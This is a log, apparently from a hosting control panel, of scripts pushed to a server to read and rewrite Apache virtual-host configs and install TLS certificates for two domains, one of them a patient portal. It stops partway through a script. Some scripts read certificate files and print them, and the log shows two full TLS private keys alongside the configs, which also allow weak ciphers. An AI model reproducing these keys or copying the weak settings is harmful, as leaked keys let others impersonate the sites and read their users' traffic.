chmod 755 /tmp/pkp836746; /tmp/pkp836746; rm /tmp/pkp836746

2025-11-03 06:02:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf	1656

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2025-11-03 06:02:18: 

PUT: /tmp/pkp468982

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:02:18: 

chmod 755 /tmp/pkp468982; /tmp/pkp468982; rm /tmp/pkp468982

2025-11-03 06:02:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt	5374
bb:b1:59:28:20:27:6b:b9:64:e3:6e:28:af:51:42:20

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBgLQBKvcCTf4EzCNwYgspHOMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzQ1WhcNMjYwMjAxMDUwMzQ0WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC4OVjjNYDjON/WpA910nauzwBzDhCOtgFwxz7lN0+0xJNxdxN6
VK8RJXPQ/C70mR19dPJJd5NkJvpVFZ+QZnLCOri944FHw0G4vCgGgUpguX+2dL/3
1rsYnT3f+4/EiuvdyjLq3WGpJOVYLQWwsJjDEpia6iU7cld6koSSsv+zM9oxrXGj
JvJI9zPX9eAjH998mjtS0CPehJR4ggSDL3W6lInkMBxC5IynIoWjfl10nn39bm6a
p5WUXNE2X9rMc/k/A5YX3g6e/Nh+3qza5rcJjgiJxsLxc0oTB3clV8NvAQd/KCUa
OpyntF6qwgfaOB87xOKixCpwDDwp5OwT2luZAgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFBCMVjZ2AXrohXKF4WlIchxHoPWiMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTMuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYA
AAGaSE8cNgAABAMASDBGAiEApkejYcEqEU3B4nd+fmVj+IRlqbP7qdr3Vd12NtDL
jO8CIQChUF91YR1zjALCIu98pMdIgaTZ5MXBkEACFyJ26hQtXAB3ABmG1Mcoqm/+
ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmkhPI8AAAAQDAEgwRgIhAOcZSiqr
tuMLz4tSlsAMRilZsxkM2zO8NIshTTDYFdcwAiEA6+1QHC3RvzEeUQT3v8xNBUvW
rOFsn+YzOH6coUBOuz0wDQYJKoZIhvcNAQELBQADggEBALqUYfj6OrdaUrFOu8Fg
VV3aZOvtgsSD5bwViCvqcfFLPSQV/hsHh/3nZ/xcHSMFcHDcKAf9kCA5mlEq195Y
zXPgB8RBodgLXDYc3bHnmbSGSF/YijoP1KRMWxYw0eCyZzbGCqZq4YofQ2HVtUSi
do/g4beazlARQzKgUtBXPw/a2ceeb1aM3gzDNWtTa2a2dcjPzuZIgn3NV7b7egVt
E7dH17gub/haL03mFMane/aIwCVoxRejAidF0YpWRod+lRUgkBhfQuCfO9gQCDSB
joqQ6v5GgHyS8kUkron41hDmXGIb4uS1u6aotVVB/FEOPMcLBGaupuezFYS+EEk7
QzM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC4OVjjNYDjON/W
pA910nauzwBzDhCOtgFwxz7lN0+0xJNxdxN6VK8RJXPQ/C70mR19dPJJd5NkJvpV
FZ+QZnLCOri944FHw0G4vCgGgUpguX+2dL/31rsYnT3f+4/EiuvdyjLq3WGpJOVY
LQWwsJjDEpia6iU7cld6koSSsv+zM9oxrXGjJvJI9zPX9eAjH998mjtS0CPehJR4
ggSDL3W6lInkMBxC5IynIoWjfl10nn39bm6ap5WUXNE2X9rMc/k/A5YX3g6e/Nh+
3qza5rcJjgiJxsLxc0oTB3clV8NvAQd/KCUaOpyntF6qwgfaOB87xOKixCpwDDwp
5OwT2luZAgMBAAECggEAPMvQJct2aYZPeIpT/9IhELeHsnClzjMKbqmSfBqw1zs4
XW2qo+hmjgYKHqHa7SXKsahyfQRVQ+wJGSM1sXXd0XOHnEMEWyZ4/fo6S0tHvHv7
Rb9pyuS2gf0CenSOkZI3HM6p1xCQNj3S4jKZeiINh/MPIbC78M5fSDgqQC+KaxzW
DtIlwsOIDZIHoCkajcTI0XjarVsh8AT95VeKt7XtHMZzbdPC/JEDKJOAoedQdGbm
DWRTwiZxattJ3bWO7Yly67DRSVhBd/lQO9otjdYoxXsBnDDho4AfBepQJ/KZtmDF
TJDaQ72ZsIF1G0gQ7BbxiNYiN0ay+i6IoSCW5sTvwQKBgQDlCOVEfxetiHewa2Ag
Nc+zUf1WwkRzX7lWIqUcfZ6U+gAhssZSlC0xe32w/BDzi9HaYDInEcZNLyA1llLO
beHFEd6dgaJkG7IINB59mOhSpbpmYAgZMyAXkLdrnMEkKkAxmhCQ0FaKdvc2YAnp
ceVSt9qsY7/HfuRj9tTMM0YGhQKBgQDN6dtMGCkWDkNSiYE3fTSiRKIlf0pQG9p3
XBh3iVKDcte7C5fkqnSBvRtS0IY+Ef+BzkH+o8s5g29m0pN0xzONvdZFNuhBo4CA
Z8rqXn/aSSxrA7JIuhch9g7TNlzvXdE4mHX0KEbdhER0CWpHjKOxrDXVsN+eik1b
Tf0LMdO/BQKBgGEEeKGgOHZwtUqM4WYjhTzPgUHr/rTkmoyLFmfQKomusLmVkf7O
96nbRq3eyItx8c3QK85y8A4n5Tvt1lvNHfKtlCAiFpjTRoHFGhlX2SmRPDk7epK6
HmD9E0VJXGMmZpTcTyIYrl/u7t8gpXI2pc55RO77PfSSospZd2CcY5BFAoGAcuKY
VRNh0QlyLFnFu4Ti2eo7IXqsppdzw4ahrAf0/pwTmytzusQTrtMorILlczoteWnv
zjfqyhL4E8FHPi9qJxoUs5dX7E9iAcJnJ25EHTEYVDjCvur8vxj+2n8JSQ/qDI6b
uPbD2xHR83/RSUxBhH7Vpn1Btr3pPRj9JsLNJlUCgYAlcPZNiuOu/w1hb/kEA11i
lC0z2KWCl+htj3aUX8UvySVP7X8bCNvOjaC7iuQyqoaXVOvE8Udjp8QimFyf6tCS
EToQJVTc6hjQyFC4dsCTEHhuSK/MEPr4SUIa3H5HryhaxezhZrKYg3Zkt/1zi1Ki
HMie8DQqTQRrQ3ATbVkhvw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-03 06:02:18: Establishing a connection
2025-11-03 06:02:19: Establishing a connection
2025-11-03 06:02:19: 

PUT: /tmp/pkp835882

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-03 06:02:19: 

chmod 755 /tmp/pkp835882; /tmp/pkp835882; rm /tmp/pkp835882

2025-11-03 06:02:19: 


0


2025-11-03 06:02:49: Establishing a connection
2025-11-03 06:02:49: 

PUT: /tmp/pkp986864

#!/bin/bash
temp_file=$(mktemp)
TARGET=01745ae0ff7ef97623b09d98f99c6ad6.crt

cat > $temp_file <<'endmsg'
73:3e:01:9a:9f:07:df:9f:f6:3f:a4:ed:b6:64:ca:cb

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBs+wqtgmKVX0k81flKUudxFFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNDE2WhcNMjYwMjAxMDUwNDE1WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAyieJd3MlWlj2QxHZDZ1/xz95gvJ9uosu5reyrHl+CmJ+
olPbLtAoTyQ4AANcpszuiewJzFzK4TAj/M8L+5AcfVlifaRvAZduY4P5McFaUr/W
rj3xgpQk1giwJ9qWJetHwL73S5zFo9TCguLZLd6MCmBrN5UInEaqdpJVTKvtq2zN
a4uqgvyf1ei3omrH39+NbSwojEFEiLlTOPT4er/ae7ndavNKy+VeDRurZns6idB2
5pDyB8CBMVnpovaR7EHkSbf77qQG0U+g5XUtnmqMrPfxmHTu9AZUzoiIt0Se4GQJ
87KrD1qET2s+sBBf/v5AppK5dU3eyogeEFy9+gqIAwIDAQABo4ICLDCCAigwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBT3I/QW+MVHmfWksbZVBeS8xfk+CTAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy83MC5jcmwwggEE
BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgBkEcRspBLsp4kcogIuALyrTygH1B41J6vq
/tUDyX3N8AAAAZpIT5cuAAAEAwBHMEUCIFzpUhixoGFxM28scR6zQ6LKtkekn1Dk
1jNXtQtuHhSjAiEAlIpJURsDt1Zx0BUEofW964qFpZagu0wL66+2XfTjLE0AdgAO
V5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZpIT58VAAAEAwBHMEUC
ICOeYEx9x1RdAHdzs550mll4w1OnOCTELendNqf8XoDIAiEA2A8gospobPYKPKWX
/OBOIwIZPqyM2t5RNX1chmKAP0AwDQYJKoZIhvcNAQELBQADggEBAHMcsG7EHuLZ
2aeSeEf+Gu/3OSTgqdjw1tx3G1mcD/zdWN4rQ4RYP4NhJJPiry/Hz/Uu6mGrFkt5
nCMQ5e/NkSJIkM534ECHn6Td7GXpnxWRCSJQuqeDpsS8Bl9MeBLf6Sk5YaZjzFHk
dilBhxHwQHh37cnPhX6tIfm7PYrKVq/goY+mUlkUcJXCXvfeooRZfx9QFDkAc3pg
WnhvhIM5qReaDYXGI5f0eDht//Z6ElPeX03X1A+pZNc2yj1tfBY1QB8SArAlfliP
v76Jytp5K4JHunhNW78qIpnjBUo5c7CWZIaqtabXwvWGJnyg4L4pPRvyKYLeNgFX
ciCKVae5TFg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDKJ4l3cyVaWPZD
EdkNnX/HP3mC8n26iy7mt7KseX4KYn6iU9su0ChPJDgAA1ymzO6J7AnMXMrhMCP8
zwv7kBx9WWJ9pG8Bl25jg/kxwVpSv9auPfGClCTWCLAn2pYl60fAvvdLnMWj1MKC
4tkt3owKYGs3lQicRqp2klVMq+2rbM1ri6qC/J/V6Leiasff341tLCiMQUSIuVM4
9Ph6v9p7ud1q80rL5V4NG6tmezqJ0HbmkPIHwIExWemi9pHsQeRJt/vupAbRT6Dl
dS2eaoys9/GYdO70BlTOiIi3RJ7gZAnzsqsPWoRPaz6wEF/+/kCmkrl1Td7KiB4Q
XL36CogDAgMBAAECggEBALwLqSkvOEjhxjo/iPvMTYdnuT2hGmmDfR5rNM6RuTgp
xQh1HsdeJJDx7RG+DtqueRpdMgQjMSnmYSOS6d+Zf5bupdqgMg518d6qbgzlgoLF
JwswXc8MxXM/47U+9TrSsQ1P1rREYejzSfj80e+EPBqO9E1g2gCdD4Z6utQ2fkBd
ryYSjZ8Kg8HATcRPpphVjJPQHMDM9dCP1B9xWjknCjjblqleP9N1q07CtM2oydMz
C9sWGClN0rPUWJrx/AS4ANxyT3Vex3iWBKyKxRM7z9Voose7PSzyhoDclTukDGbz
n7RhFmy5P+QzVHaGL+kQ4zQRqjSBGinx71s6oZRYkPkCgYEA6KEGKPhbkoXU+/Ec
b9+CknF5B4TWCiY6bgv2O4F4ter6TAXU+n2qZnaLXVQCgTRdvdbSSLv+MVNNYB3R
DH6IevKODHurzMBHeVZXijtn85oH+LB+GBMGtuhcxcWmQQ4YWavnGl41/HVVPnJt
8r8h3le2AX8a2ZhF6tlBm3dEac8CgYEA3na9LD1By/ERgWEEug3tHdCKe19WAJvo
2jxLktch7nmemfykF9oSghc++sUNJ0mYGbC4QI9wTwMesnuVFVSUNkEmiMp6KUfQ
Po9u3LG0dSpEPPus7a4eAltIssE0Pg3TCnWwmj7/4qE6F0MC0bL3xlOPzKjBTjV0
LbFJt9Us740CgYEAn3J/PmW8nlmM+oLw8t1IKggM5NJvwtUhB3y7cV301vwQQztc
F7U6rrBiJb4HWXgDKLOtvpzcRgLK7i6BswanlV3bb0L1JopEcy5zIhRF0/qnrBWM
2ANyfrwVmpk2szBuEEh7Rt98MWZa30qfgdrv4+5Kmgv841gz1BzFk0HUapECgYAH
ngE0NpS+Ku7ygyPqSvfHgZB8UPNc6fm7Hz1nNb6Pr9Jia2gi+PCRS8J4S677nWV7
27UzYLXzvqOacOjV5iN9CBYNsQEl0LOssLSXEe6f5GaZv/RX3xJf+kgu9raXOVn0
jbsSTP3uAJ9AlKbQD1S0kb/mvhCAYQwtVFi11rLHMQKBgQCCOlKThMW1TDBpsoQn
HheIL8+OFBeg9LrlLeZe0wrizo0//jmjRLj+FMSKyX0a8OdTrhJ/KWeIFDlLRWC1
CpHQw8/PS9m/Kp8+WdIqNCmp2DYo7XyEeBX5ZEZ4C81dsAwZ4P/gQldfhTyujP5M
QnN4IrvAzV9HV1vQDRhN3uzR0A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-03 06:02:49: 

chmod 755 /tmp/pkp986864; /tmp/pkp986864; rm /tmp/pkp986864

2025-11-03 06:02:49: 


dir=/etc/ssl/certs


2025-11-03 06:02:49: 

PUT: /tmp/pkp593069

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-03 06:02:49: 

chmod 755 /tmp/pkp593069; /tmp/pkp593069; rm /tmp/pkp593069

2025-11-03 06:02:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 52

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2025-11-03 06:02:49: 

PUT: /tmp/pkp568173

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_athenahealth_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
